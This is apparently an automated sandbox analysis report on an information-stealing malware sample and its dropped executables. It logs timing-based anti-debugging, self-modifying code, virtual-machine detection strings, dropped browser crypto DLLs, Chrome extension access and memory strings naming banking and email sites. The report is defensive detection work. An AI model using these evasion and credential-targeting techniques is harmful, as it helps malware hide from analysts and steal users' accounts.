Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3775BD second address: 3775D8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F0D2D4AB8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jp 00007F3F0D2D4AC2h 0x00000013 jbe 00007F3F0D2D4ABCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37C6A2 second address: 37C6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0C7D6249h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37C6BF second address: 37C729 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F3F0D2D4AB8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov di, 9091h 0x00000029 push 00000000h 0x0000002b mov edi, ebx 0x0000002d push 00000000h 0x0000002f jp 00007F3F0D2D4ABAh 0x00000035 mov di, B7DEh 0x00000039 xchg eax, esi 0x0000003a push ebx 0x0000003b pushad 0x0000003c jmp 00007F3F0D2D4AC6h 0x00000041 jp 00007F3F0D2D4AB6h 0x00000047 popad 0x00000048 pop ebx 0x00000049 push eax 0x0000004a jl 00007F3F0D2D4AC0h 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 3849CB second address: 384A59 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3F0C7D6236h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F3F0C7D623Fh 0x00000012 push esi 0x00000013 jmp 00007F3F0C7D6240h 0x00000018 pop esi 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007F3F0C7D6238h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 mov ebx, dword ptr [ebp+122D1DA5h] 0x0000003b mov di, bx 0x0000003e push 00000000h 0x00000040 mov edi, dword ptr [ebp+122D1B8Eh] 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007F3F0C7D6238h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 00000017h 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 xchg eax, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 jne 00007F3F0C7D6236h 0x0000006d rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 384A59 second address: 384A63 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3F0D2D4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 384A63 second address: 384A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0C7D6241h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 386AF2 second address: 386B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F0D2D4AC4h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 386B0A second address: 386B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 386B0E second address: 386B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F3F0D2D4AB8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 add dword ptr [ebp+122D1BBBh], esi 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007F3F0D2D4AB8h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 push 00000000h 0x00000047 mov edi, dword ptr [ebp+122D3010h] 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 386B72 second address: 386B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 386B76 second address: 386B89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 387ABB second address: 387AC0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 387AC0 second address: 387B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 js 00007F3F0D2D4ACEh 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F3F0D2D4AC4h 0x00000016 popad 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F3F0D2D4AB8h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 mov ebx, dword ptr [ebp+122D2027h] 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D31C1h], eax 0x00000042 xchg eax, esi 0x00000043 push ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 388B99 second address: 388C19 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F3F0C7D6236h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F3F0C7D6238h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 or ebx, 10EE294Eh 0x0000002f push 00000000h 0x00000031 mov bh, 38h 0x00000033 movzx ebx, dx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F3F0C7D6238h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 sub bh, 00000077h 0x00000055 xchg eax, esi 0x00000056 jmp 00007F3F0C7D6240h 0x0000005b push eax 0x0000005c js 00007F3F0C7D6255h 0x00000062 push eax 0x00000063 push edx 0x00000064 jl 00007F3F0C7D6236h 0x0000006a rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 32D74B second address: 32D75E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F0D2D4ABDh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 32D75E second address: 32D762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 38D247 second address: 38D2D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ebx 0x00000009 jnp 00007F3F0D2D4AB8h 0x0000000f pop ebx 0x00000010 nop 0x00000011 sub dword ptr [ebp+122D2FDBh], edi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F3F0D2D4AB8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D1BC9h], edi 0x00000039 push 00000000h 0x0000003b sub dword ptr [ebp+122D2247h], ebx 0x00000041 xchg eax, esi 0x00000042 jmp 00007F3F0D2D4AC6h 0x00000047 push eax 0x00000048 pushad 0x00000049 jmp 00007F3F0D2D4ABCh 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F3F0D2D4AC8h 0x00000055 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 38F2F2 second address: 38F2FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 38F2FC second address: 38F302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37C8B7 second address: 37C8BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37C8BB second address: 37C92C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a cld 0x0000000b add edi, dword ptr [ebp+122D2C7Bh] 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F3F0D2D4AB8h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 sub di, 0D5Bh 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov ebx, 30E960A6h 0x00000043 mov eax, dword ptr [ebp+122D0721h] 0x00000049 push FFFFFFFFh 0x0000004b jno 00007F3F0D2D4ABCh 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F3F0D2D4ABCh 0x00000059 rdtsc
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	RDTSC instruction interceptor: First address: 37D8F0 second address: 37D97A instructions: 0x00000000 rdtsc 0x00000002 je 00007F3F0C7D6238h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F3F0C7D623Eh 0x00000012 nop 0x00000013 xor dword ptr [ebp+122D2DDDh], ecx 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F3F0C7D6238h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 mov di, C7B9h 0x00000045 mov eax, dword ptr [ebp+122D0995h] 0x0000004b push 00000000h 0x0000004d push edx 0x0000004e call 00007F3F0C7D6238h 0x00000053 pop edx 0x00000054 mov dword ptr [esp+04h], edx 0x00000058 add dword ptr [esp+04h], 00000017h 0x00000060 inc edx 0x00000061 push edx 0x00000062 ret 0x00000063 pop edx 0x00000064 ret 0x00000065 push FFFFFFFFh 0x00000067 mov ebx, dword ptr [ebp+1245C9A8h] 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E9E26B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F31B90 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Special instruction interceptor: First address: 1BEB06 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Special instruction interceptor: First address: 368462 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Special instruction interceptor: First address: 1BC616 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Special instruction interceptor: First address: 3EE6B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 19EB06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 348462 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 19C616 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3CE6B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Special instruction interceptor: First address: 96B9A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Special instruction interceptor: First address: B1B79B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Special instruction interceptor: First address: B43CCA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Special instruction interceptor: First address: BAAE2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Special instruction interceptor: First address: 7D0ADF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Special instruction interceptor: First address: 9A66E8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Special instruction interceptor: First address: 981C55 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Special instruction interceptor: First address: A10991 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Special instruction interceptor: First address: 12FE26B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Special instruction interceptor: First address: 1391B90 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIDGIJEGHDA.exe

Code function: 21_2_04F108F3 rdtsc

21_2_04F108F3

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007107001\2438692dfe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6680	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6188	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6768	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7096	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5520	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5112	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7932	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8964	Thread sleep count: 132 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8964	Thread sleep time: -3960000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8960	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8964	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe TID: 8212	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIDGIJEGHDA.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFCEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

1_2_6CFCEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001B.00000002.2608019066.000000000032C000.00000040.00000001.01000000.0000000D.sdmp, fd5d5b30e9.exe, 0000001D.00000002.2624904987.0000000000AF9000.00000040.00000001.01000000.0000000E.sdmp, 1e42688e0b.exe, 0000001E.00000002.2607868144.0000000000957000.00000040.00000001.01000000.0000000F.sdmp, 36030a5366.exe, 00000020.00000002.2579839025.00000000012E0000.00000040.00000001.01000000.00000010.sdmp, 1e42688e0b.exe, 00000026.00000002.2607769388.0000000000957000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 1e42688e0b.exe, 00000026.00000002.2627577979.0000000001364000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000001.00000002.1739620358.0000000023CD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696492231x
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000001.00000002.1717072391.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1717072391.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2626691488.000000000147C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2626691488.0000000001448000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000003.2540171804.000000000147C000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 0000001E.00000002.2626591631.00000000013E9000.00000004.00000020.00020000.00000000.sdmp, 36030a5366.exe, 00000020.00000002.2586073868.0000000001A4F000.00000004.00000020.00020000.00000000.sdmp, 36030a5366.exe, 00000020.00000002.2586073868.0000000001A24000.00000004.00000020.00020000.00000000.sdmp, 1e42688e0b.exe, 00000026.00000002.2627577979.0000000001396000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000001.00000002.1717072391.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 36030a5366.exe, 00000020.00000002.2586073868.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarem
Source: file.exe, 00000001.00000002.1739620358.0000000023CD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8RECOVE~11c3bankoRecoveryImprovedVMware20,11696492231x
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 1e42688e0b.exe, 0000001E.00000002.2626591631.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: fd5d5b30e9.exe, 0000001D.00000002.2629945727.000000000156E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 1e42688e0b.exe, 0000001E.00000003.2570983875.00000000058F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000001.00000002.1739620358.0000000023D3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
